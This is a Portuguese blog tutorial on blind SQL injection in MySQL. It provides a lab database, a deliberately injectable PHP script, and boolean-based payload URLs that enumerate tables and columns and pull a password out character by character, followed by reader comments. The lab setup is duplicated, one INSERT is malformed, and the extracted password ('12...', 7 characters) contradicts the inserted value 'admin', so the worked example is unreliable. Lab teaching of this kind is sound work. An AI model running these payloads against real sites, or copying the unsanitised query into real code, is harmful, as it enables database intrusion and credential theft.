Blind SQL Injection
Tecnica de Injeção de Dados no MySQL feito as cegas.
Primeiramente, qual
a diferênça entre SQL Injection e o Blind SQL Injection?
Normalmente, os
administradores de sistemas desativam os parâmetros SHOW_ERRORS e
SHOW_WARNINGS do servidor para que não explodam na tela os erros de
SQL que auxiliam em um ataque de SQL Injection normal, portanto se
torna um pouco mais complicado fazer o teste de vulnerabilidade na
aplicação uma vez que o ferramental que utiliza desses erros como
argumentos pode nos deixar a mercê do destino.
O Blind SQL
Injection, ou Injeção de SQL as Cegas é o que separa meninos de
homens na área de segurança da informação e Pentests de ambientes
Web, pois o melhor ferramental que você pode ter em mãos é o seu
próprio conhecimento de SQL e servidores web para extrair dados a
força do servidor.
Em uma linguagem
mais precisa, os ataques de SQL Injection normais, quando enviamos os
parâmetros de consulta para a base de dados para extrair informação,
nos retornam erros e informações pertinentes na tela, o Blind SQL
Injection não nos retorna nada. A partir disso só nos resta
interpretar valores de lógica booleana (True e False).
Comprovando a vulnerabilidade do servidor
Criando um banco de teste
Crie esse banquinho de dados com o nome "Blind" pra efetuarmos o lab
CREATE DATABASE blind;
USE blind;
CREATE TABLE `users` (
`id` int(10) unsigned NOT NULL auto_increment,
`name` varchar(50) NOT NULL,
`password` varchar(50) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;
users
INSERT INTO `users` VALUES (1, 'administrator', 'admin');
INSERT INTO `users` VALUES (2, 'kevin', 'mitnick');
INSERT INTO `users` VALUES (3, edward', 'snowden');
`id` int(10) unsigned NOT NULL auto_increment,
`name` varchar(50) NOT NULL,
`password` varchar(50) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;
users
INSERT INTO `users` VALUES (1, 'administrator', 'admin');
INSERT INTO `users` VALUES (2, 'kevin', 'mitnick');
INSERT INTO `users` VALUES (3, edward', 'snowden');
Criando uma aplicação PHP para testes
Coloque esse scriptizinho no seu servidor Web para efetuarmos os testes efetuando as configurações do seu banco de dados.
#
CONFIGURAÇÃO DE BANCO
$host = 'localhost';
$dbuser = 'root';
$dbpass = '';
$dbname = 'blind';
$dbuser = 'root';
$dbpass = '';
$dbname = 'blind';
$db = mysql_connect($host, $dbuser, $dbpass);
mysql_select_db($dbname,$db);
$sql = "SELECT * FROM users WHERE id=".$_GET['id'];
$query = mysql_query($sql);
if(@mysql_num_rows($query)==0){
die;
}
$result=@mysql_fetch_row($query);
echo "<h2><center><u>Blind SQL Injection Teste<br>Nanoshots</u><br><br>";
echo "<font color='#000000'>user_id: </font>".$result[0]."<br>";
echo "<font color='#000000'>username: </font>".$result[1]."<br>";
// echo "Password: ".$result[2]."<br>";
echo "</h2></center>";
die();
?>
Hands on!!!
Neste exemplo vamos
fazer o teste na página teste.php e explorar a variável "id"
Vamos executar um
teste fazendo com que o valor nos retorne True.
Agora no mesmo
exemplo, vamos fazer com que os valores nos retornem False
http://localhost/blind/teste.php?id=1
and 1=0
Se a página não
retornou nada, ou seja, um valor em branco, significa que ele
interpretou um valor booleano false.
Obtendo informação
Vamos fazer uma
busca na na tabela users. Como nós já sabemos, teremos que trabalhar
as cegas, ou seja, por força bruta. É a mesma lógica de dar tiros
no escuro.
Vamos tentar com
exemplos óbvios.
http://localhost/blind/teste.php?id=1
AND (SELECT Count(*) FROM admins)
Essa query irá
verificar se a tabela admins existe e executar um count nela, ou
seja, contar os registros retornados. Caso ela retorne algum registro
o resultado será true, caso contrário, False.
Como no nossa tabela
não existe nenhuma tabela admins ela irá retornar false. Vamos
aplicar um exemplo que seja verdadeiro
http://localhost/blind/teste.php?id=1
AND (SELECT Count(*) FROM users)
Neste caso o
resultado foi True, então você foi redirecionado para a página de
resposta positiva.
Encontrando o número de registros da tabela 'users'
Agora que encontramos a tabela users, vamos executar algumas consultas para verificar em média quantos registros existem dentro da tabela users
http://localhost/blind/teste.php?id=1 AND (SELECT Count(*) FROM users) > 4
Nesta consulta retornamos o valor True e False a respeito da quantidade de registros dentro da tabela users.
No caso, caso os registros da tabela forem maiores que 4, o resultado será true. Como no exemplo, o número de registros é 3, então esse teste terá de retornar false.
Vamos tentar agora com um exemplo em true:
http://localhost/blind/teste.php?id=1 AND (SELECT Count(*) FROM users) > 2
http://localhost/blind/teste.php?id=1 AND (SELECT Count(*) FROM users) = 3
Agora retornou true e de leva sabemos que existem 3 registros dentro da tabela users.
Buscando os nomes das colunas
Agora vamos injetar algumas query para descobrir os nomes das colunas da tabela.
http://localhost/blind/teste.php?id=1 AND(SELECT Count(username) FROM users)
No caso ele buscou a quantidade de registros da coluna username dentro da tabela users, mas como essa coluna não existe, o resultado foi false.
http://localhost/blind/teste.php?id=1 AND(SELECT Count(password) FROM users)
Neste exemplo ele deu positivo, ou seja, existe uma coluna chamada password dentro da tabela users.
Lendo os dados da coluna
http://localhost/blind/teste.php?id=1 AND (SELECT length(password) FROM users where
id=1) > 9
Se existir algum conteúdo dentro da coluna password menor que 9, o resultado retornará verdadeiro.
http://localhost/blind/teste.php?id=1 AND (SELECT length(password) FROM users where
id=1) = 7
Pronto, sabemos que os conteúdos da coluna password tem 7 caracteres.
Extraindo os dados das colunas
Famoso 'Hoje jantaremos no inferno'
Agora é a parte que 'dói'. Agora iniciaremos um processo de força bruta na unha para tentar arrancar as posições e os caracteres da senha. Iremos converter para ascii e ver se retorna true ou false.
where id=1),1,1))=49
1 = Primeira posição da senha
Em ASCII 49 = 1
Como a senha do primeiro usuário começa com 1, o resultado será true.
http://localhost/blind/teste.php?id=1 AND ascii(substring((SELECT password FROM users
where id=1),2,1))=50
2 = Segunda posição da senha
Em ASCII 50 = 2
BOA! Temos o segundo carácter da senha completa. Esse é um processo bem instigante, mas é assim que funciona a técnica. Você literalmente precisa minerar informação do servidor as cegas.
até o momento temos password = "12...."
Existe essa ferramenta bem bacana que converte caracteres normais para ASCII
:)
Muito bom, parabéns!
ResponderExcluirMuito Obrigado!!!
Excluirmuito bem explicado.
ResponderExcluir